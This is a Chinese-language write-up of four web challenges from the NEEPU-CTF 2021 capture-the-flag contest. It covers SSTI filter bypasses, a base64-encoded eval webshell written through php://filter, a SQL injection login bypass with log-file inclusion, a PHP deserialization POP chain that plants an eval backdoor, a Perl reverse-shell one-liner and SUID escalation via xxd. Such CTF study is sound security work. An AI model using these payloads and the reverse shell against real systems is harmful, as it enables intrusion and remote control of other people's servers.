NEEPU-CTF 2021 Web后四題Writeup


The_myth_of_Aladdin

考點:SSTI、個別字符過濾、命令過濾

這題感覺是安洵杯2020那題SSTI的簡化版,這里過濾的東西不是特別多,主要是過濾了空格卡了好久(沒發現,嗚嗚嗚)。這里過濾了{{可以使用{%print%}替代、.可以使用[]替換、_可以使用Unicode編碼替換,但是好像還過濾一些命令,這里我是用base64 /f*的方式。背景的小姐姐很好看,愛了愛了!

image-20210522120030495

upload_club

考點:php://filter協議文件包含、df繞過

感覺這里是我做出來的幾題中最好的,這里先講一下思路:上傳一個一句話木馬的文件,然后包含它即可。

接着說一下遇到的幾個考點:

​ 1.這里利用了file_get_contents('php://input')方式獲取了POST的所有內容,然后去匹配,如果存在25則結束,但是這里有個缺陷,如果POST上傳的形式不是application/x-www-form-urlencoded而是multipart/form-data則獲取不到POST請求參數可以繞過這里。

image-20210523235941462

​ 2.這里有個neepu_sec.clubPOST請求的參數如果直接寫的話是不行,不過可以寫腳本簡單遍歷一下

image-20210524000407795

import requests

url = "http://127.0.0.1/ceshi/a.php"

for i in range(32,128):
    for j in range(32,128):
        data = {
            'neepu'+chr(i)+'sec'+chr(j)+'club':123
        }
        res = requests.post(url=url,data=data)
        if "neepu_sec.club" in res.text:
            print 'neepu'+chr(i)+'sec'+chr(j)+'club'
            exit(0)
            
#PHP代碼:<?var_dump($_POST);?>

​ 3.其實這步就簡單了,因為我們已經繞過了第1點的限制了,所以這里變的很簡單,可以直接使用編碼繞過base64string,使用php偽協議php://filter,但是需要寫入文件,這里我利用的過濾器是string.strip_tags|convert.base64-decode,最后resource配置為?>PD89ZXZhbCgkX1BPU1RbMV0pOz8+/../21.txt,這里使用?>閉合前面的php代碼,則他們都會被string.strip_tags過濾器刪除,接着base64過濾器將剩下的字符進行解碼,則獲得一句話木馬

image-20210524000807400

​ 4.這里看似不能用<?php,但是如果文件是以<?開頭則可以繞過,而不能用php的話,使用短標簽<?=?>即可

image-20210524001721799

image-20210524002159586

好像就沒啥可以說的,接下來是詳細步驟

先上傳了一句話木馬

image-20210523001313665

然后去包含它,執行phpinfo()時發現過濾好多函數,看來是要繞過df了

image-20210523001342255

這里利用了之前朋友給的一個繞php7的df文件,將它通過file_put_contents函數寫入。

image-20210523001059003

訪問根目錄下,有個getflag的文件,執行就獲得flag

image-20210523001035179

gamebox

考點:SQL萬能密碼、日志包含Getshell

上來是一個登陸框(只有username),猜測后台的SQL語句為select * from user where username = '$username',這里ban了好多字符,如or||#--等等,這里把可以通過1'=1='0登陸上去

接着就是猜正反了,emmm這個我真沒啥想法,純靠硬猜就過了,原本以為就給flag了,可惜沒有。不過看到了URL就感覺是文件包含了,這里連想到了日志包含

image-20210524200829249

先判斷好日志的位置

image-20210524200750642

接着上傳一句話木馬

image-20210524201000281

接着測試一下一句話木馬是否可用

image-20210524201144938

最后通過蟻劍拿到flag

image-20210524201309128

serialize_club

考點:任意文件讀取、session反序列化、Linux下的SUID提權

是一個站點,頁面上沒有看到什么有用的信息,於是看了一下源代碼。又是一個文件包含的漏洞,嘗試讀index.php文件源碼。

image-20210524202621552

這里發現代碼做了base64編碼,解碼一下就可以了

image-20210524202902213

在源碼中看到了這個,知道是session反序列化漏洞

image-20210524203116240

構造一下POP鏈,代碼如下

<?php
error_reporting(0);
class backdoor {
    protected
        //! eval code
        $cmd = 'eval($_POST[1]);?>';
}
class neepu {
    protected
        //! Neepu
        $neepu,
        //! Memory-held data
        $data,
        //! Info
        $info;
    public function setneepu($a){
        $this->neepu = $a;
    }
    public function setinfo($a){
        $this->info['info'] = $a;
    }
}
class n33pu {
    public
        //! Neepu func
        $func;
}
class dumb {
    public
        //! dumb
        $dumb;
}

$back = new backdoor();
$n33 = new n33pu();
$n33->func = $back;

$neepu1 = new neepu();
$neepu1->setinfo($n33);

$neepu2 = new neepu();
$neepu2->setneepu($neepu1);

$dump = new dumb();
$dump->dumb = $neepu2;

var_dump(str_replace("s","S",str_replace("\x00","\\00",serialize($dump))));

接着把序列化的字符串上傳了,這里可能會失敗,多發一些包,然后多嘗試幾次就可以了

image-20210524215524742

連上靶機后,這里想反彈shell的,但是一般的bashpythonphp都失敗了,嗚嗚嗚。

image-20210524220027901

最后在網上找了一個perl反彈shell的腳本

perl -e 'use Socket;$i="xx.xx.xx.xx";$p=xxxx;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

接着這里用了find命令查看一下可能存在SUID權限的命令,發現xxd是可以的,然后是通過取巧的方式,因為問了管理員flag的位置,他跟我說在/root下,所以這里直接用去看了flag。

image-20210524214820196


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM